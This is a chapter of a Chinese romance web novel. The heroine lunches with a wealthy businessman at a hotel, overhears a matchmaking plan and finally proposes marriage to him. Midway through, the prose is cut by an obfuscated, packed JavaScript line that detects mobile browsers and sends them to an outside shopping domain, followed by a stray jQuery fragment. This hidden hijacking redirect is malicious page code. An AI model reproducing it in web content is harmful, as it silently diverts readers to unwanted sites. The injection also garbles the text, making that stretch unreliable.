半小时后，两台商务车一前一后驶入酒店的地下停车场。
车停稳前，申绾给蒋颂山发了条微信，让他等一会儿，她说两句话就走。
来的路上，梁徒把行程说了一遍：中午在酒店用简餐，下午双方回公司开会商讨合作细节，晚上正式宴请。时间排得满满当当，蒋颂山怕是抽不出空跟她商量奶奶的事。那就没必要耗着了，她可不想掺和他生意上的饭局。
蒋颂山回了个“嗯”。
下车后他跟宋总客套了几句。隔着车窗，她听不清他说了什么，只看见他微微侧着头，嘴边挂着恰到好处的笑，一只手随意地插在裤袋里，姿态松弛随性。然后他抬手示意了一下电梯的方向，像是交代梁徒领人先上去。
等人走远了，申绾才解开安全带。金属卡扣弹开的声音在安静的车厢里格外清脆。
正要下车，车门却从外面被拉开了。
蒋颂山站在门边，一只手搭在车顶，高大的身躯将门边那一小块空隙堵了个严严实实。
地下车库里有一股潮湿的凉意，混着汽车尾气的微苦，从他身后漫进来。他俯身，另一只手攥住了她的手腕。力道不重，指腹刚好卡在她腕骨最细的那一圈。
“走什么走，你不是一到饭点就受不了饿的体质？”
他的声音压在头顶，低沉好听。
“跟我上楼去，吃了饭我让司机送你。”说完，蒋颂山手上稍稍一带，将她牵下车，没给她站稳的时间，不由分说地往电梯方向走。
申绾被带着往前走了几步，回头看停车场出口的方向。那上面挂着一块绿色的指示牌，日光从出口的斜坡上漏下来，亮得晃眼。
她晃了晃被蒋颂山拽着的那只手：“不如我先走吧，看你今天也挺忙的，就不耽误你应酬了。咱俩改天再约？”
蒋颂山脚步没停，轻笑了声：“老宋他们是吃人的洪水猛兽怎么的？让你怕成这样。”
“谁怕了？就是感觉不太方便……”申绾嘴硬着，声音却没什么底气，尾音也往下掉。
蒋颂山牵着人继续走，鎏金腕表箍在结实的手腕上，表盘细碎的微光透着不动声色的贵气，红底皮鞋踩在环氧地坪上，发出沉沉的闷响。
叫了电梯后，他忽然恍然大悟地“啊”了一声：“你不会是不好意思了吧？这我可得跟你解释一下——”
“刚才在机场没等你，我以为你改主意去给潘赛接机才走的。不过你也当着我那么多员工的面儿朝我发脾气来着——算咱俩扯平了，行不？”
停车场的灯光从侧面打过来，在蒋颂山眉骨下投出一小片阴影，目光灼灼地盯着申绾看。
好吧，她先前混在潘赛粉丝堆里，确实容易引起误会。
不过——
“我才没发脾气呢，你少污蔑我！”申绾大声反驳，又觉得理亏了点儿，撅了噘嘴，倒也没再推辞。
蒋颂山的目光在她手腕上停留了片刻。
那截手腕很细，他一只手圈住，拇指和中指之间还有一截富余。她皮肤凉凉的，脉搏在他指腹下跳得很快。
她没挣开！
这个认知让他心情莫名好了起来，又起了逗人的心思：“或者我善心大发，牺牲掉午休时间，勉强抽出一个小时。邀请我们善良美丽的申大小姐，单独聊聊？”
申绾翻了个白眼：“……那我勉为其难地接受你的邀请好了。”
心机又爱捉弄人的家伙，简直坏透了！
-
轿厢内白茶香扑面，楼层数字一格一格地往上跳。等看到走廊地毯上那片熟悉的深灰色暗纹，申绾脚步顿了一下。
这不就是她前几天回国住的那家酒店？
就在这层的消防通道，她还跟蒋颂山大吵过一架。那天她气得声音都在发抖，指着蒋颂山鼻子说了什么来着——好像是“你少管我的事”？
不到一个星期，怎么又绕回来了。
她跟这地方犯冲啊喂！
蒋颂山跟背后长眼睛了似的：“别回忆了，快点跟上。等会儿再带你‘故地重游’。”
申绾快走了两步跟上去。故地重游这四个字落在耳朵里，莫名让人感到心虚。过了好几秒，她才从鼻子里发出一声含糊的、几乎听不见的“哦”。
这层有的公共用餐区，靠窗的位置拼了张长桌，白色餐布上摆着几碟精致的冷盘。宋总和他太太坐在靠里侧，正低声说着什么。蒋颂山公司的三名高管，外加梁徒和宋总的助理，左右分开，相对而坐。
梁徒见蒋颂山进来，起身替他拉开椅子。
南谦说“一会儿见”，可菜陆陆续续在上了，他的位子还是空的。申绾扫了一眼，没说什么，不声不响地挨着蒋颂山坐下。椅子的扶手和他的碰到了一起，她往自己这边挪了挪。
饭桌上的话题绕不开智慧农机。
蒋家是国内知名车企，从去年起另辟蹊径，跟着政策风向投起了农业机械。这次去吉城，蒋颂山就是奔着实测的性能表现去的，原计划要待满一周，结果测试比预期顺利，他便改了行程飞回来。这样也好赶在农机补贴申报截止前，有充足的时间跟信逻科技把合作协议敲定。
好多专业词汇申绾大半听不懂，对桌上的人又不熟，索性闷头吃饭。
蒋颂山吃得不多，每回用公筷给自己夹了菜，顺便也给她捎一筷子。视线始终落在他处，听人讲话，手上的动作却自然得像呼吸。
几次下来，碗里多了清炒虾仁、芦笋，还有些她不方便伸筷子去夹的菜。
虾仁很鲜，芦笋也嫩，火候更是恰到好处。
但申绾越吃越沉默，竟然都是她爱吃的！
大概是蒋颂山的特别照拂，引得几道视线若有若无地打量过来。但申绾没怎么放在心上——她一蹭饭的，在乎那么多做什么？继续心安理得地伸向下一口菜，随他们看。
简餐吃了快一个小时，大家聊得差不多了，陆续有人起身活动，申绾也跟着站起来，去了趟洗手间。
洗过手后，她对着镜子理了理头发，也补了妆，走出门口才想起手表忘在洗手台上。
正要折回去，拐角处的说话声让她脚步一滞。
是宋太太的声音：“……多问一句又不打紧的，万一那姑娘只是小蒋的朋友呢。”
宋总的声音低些：“小蒋这人一表人才，跟咱侄女算般配——”
“成吧成吧，我下午就托人打听打听。”
宋太太笑了一下：“对了，晚上不是还有晚宴嘛，先让两个孩子见个面，我让菲琳穿漂亮点……”
说话声渐渐远了，直到再也听不见。申绾靠在冰凉的瓷砖墙面上，慢慢吐出一口气。
头顶暖光灯照在她脸上，冷气贴着脚踝往上爬。窗外的城市在烈日的炙烤下一层一层铺开，热浪翻卷着。一冷一热之间，她觉得自己像被什么东西轻轻蛰了一下。
不疼，但让人没法忽略。
-
宋太太那番热心撮合的话，像枚不起眼的石子，在申绾心湖里激起了连绵的余波，一圈又一圈，迟迟静不下来。
论身家、论皮相、论手腕，蒋颂山每一样都是旁人眼中的顶配。那些或明或暗的青睐和示好，怕是从未断过。今天宋太太开了这个头，明天就会有李太太、王太太顺势跟上，人情往来，络绎不绝。
她忽然意识到，这场配合闹剧是有保质期的。
一旦蒋颂山有了正牌女友，或者某天迈入婚姻，那个名正言顺的人，会不介意她这根“眼中刺”吗？而她与蒋颂山之间的那点交情，能扛得住几次枕边风？
他到时候或许会面露难色，或许会说一句“不好意思，我太太不允许”——语气礼貌，分寸得体地应付她这个“不识好歹”的旧相识。
想到这里，申绾心里实在没底，连带着手脚都开始酸软了，像刚举过什么重物之后卸了力，空落落的。
大约是她在洗手间磨蹭得太久了。蒋颂山打了电话过来，她还没来得及接，就听见她专属的恶搞铃声，从转角那边传了过来。
她走出去，正好和蒋颂山打了个照面。
“现在去聊？”他问。
“嗯。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810796|210819||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“那走吧。”蒋颂山领着她，在28楼刷开了一间总统套房。
房间是上下两层的格局，一层客厅的茶几上搁着半瓶没喝完的矿泉水，沙发扶手上搁着一本倒扣的书，落地窗外的阳光被纱帘滤成了柔光，生活痕迹蛮多的。空气中有一股淡淡的檀木香薰味道，跟他身上的很像。
蒋颂山从洗手间里拿出条干净的毛巾递过来：“擦擦头发。”
申绾愣了愣，才反应过来自己耳侧的头发还湿着——刚才在洗手间，耳朵不知什么时候被蚊子叮了，她拿冷水搓了两遍，那块皮肤被她挠得通红，连带着耳侧的头发也打湿了几缕。
她接过毛巾，低头擦了两下，心里盘算着求人的态度是不是该狗腿些。
顿了顿，擦发尾的动作放慢了。她趴在沙发背上，眼神真诚得不像话：“颂山哥，我姑姑他们也全知道了——”
蒋颂山正在冰箱前给她找喝的，冷气丝丝地往外冒。乍一听见这个称呼，他手一抖，饮料瓶差点磕在冰箱门框上。
申绾只看到他背影一僵，眨了眨眼，再接再厉道：“奶奶昨天接完你视频后精神头就好了不少，你说这事儿闹的，我姑姑说要趁热打铁，一家人好好聚一聚，让奶奶彻底安心。”
她尾音往上挑了一点：“你就好人做到底吧。委屈你再装一阵子我未婚夫，行不行啊？”
蒋颂山转过身来。
从他这个角度看过去，沙发上只露出半颗脑袋。他给的那条白毛巾就搭在她头顶，一角耷拉下来，遮住了半边眉毛。她的两只手攥着拳，一左一右搭在沙发背的边缘，眼睛忽闪忽闪的，很像他家那只刚洗完澡就闯祸的小狗。
只是这幅小心翼翼提要求的样子，跟他记忆里的申绾完全不一样——从前她都是理所当然的。
蒋颂山把橙汁搁在她面前，在旁边的单人沙发坐下，没接她的话，反而挑了挑眉：“之前谁说的，让我别多管闲事来着？还有，你名字要镜像写了吧？”
他说这话的时候，头微微后仰，后脑勺抵着靠背的边缘。语调慢慢的，不像翻旧账，倒像是终于逮着机会，把这句憋了很久的台词给说出来。
申绾被这话噎得够呛。
这茬都多久之前的了，怎么还提啊！
“……那个啥，过往点滴皆是烟花——多灿烂啊。”申绾把毛巾往后一甩，弹射起步，“灿烂完了不就翻篇了嘛。嘿嘿。”
她扑过去的时候带起一阵细小的风，把他额前的碎发吹得微微晃了一下。
蒋颂山被她耍宝的模样逗笑了，笑到一半又收住。他翘起二郎腿，语气不容商量：“你别跟我打哈哈。不行。”
“什么就不行啊？是翻篇不行还是啥不行？”申绾急了，又往前蹭了蹭，“昨天不是说好了要一起商量的吗？就一起吃顿饭而已，怎么就不行了？”
蒋颂山淡定地伸出手，食指点在她额头上，把她往后推了半步：“什么都不行。我还不知道你？鬼点子一个接一个的，没一个靠谱的。单独和奶奶吃顿饭可以，家宴的话性质就变了。”
申绾捂着额头，瞪他。
不说话，就那么瞪着他。嘴角往下抿了抿，眼睛里的光从请求变成了控诉，再掺进一丝即将发作的不满。
蒋颂山和她对视三秒，立刻双手做了个安抚的手势，急忙说：“诶诶诶，你搞搞清楚啊，现在是你求我。你态度给我端正点儿！”
申绾表情不变，像是在思考着什么可能性。
茶几上的橙汁是玻璃瓶的，瓶身析出一层厚厚的水珠，正沿着瓶壁慢慢往下淌，接连淌了两滴后，蒋颂山绷不住了。
“……不带你这样的啊。”他把二郎腿放下来，语气退了一步，“要不你多说几句好听的，没准儿我就同意了呢。”
申绾：“要不——”
深吸一口气，又吸了一口。
然后抬起眼，神色是前所未有的认真。
“要不咱俩结婚吧。”
这句话落在安静的房间里，像一块坚冰投进了一盆铁水。
滋滋作响，扰动人心。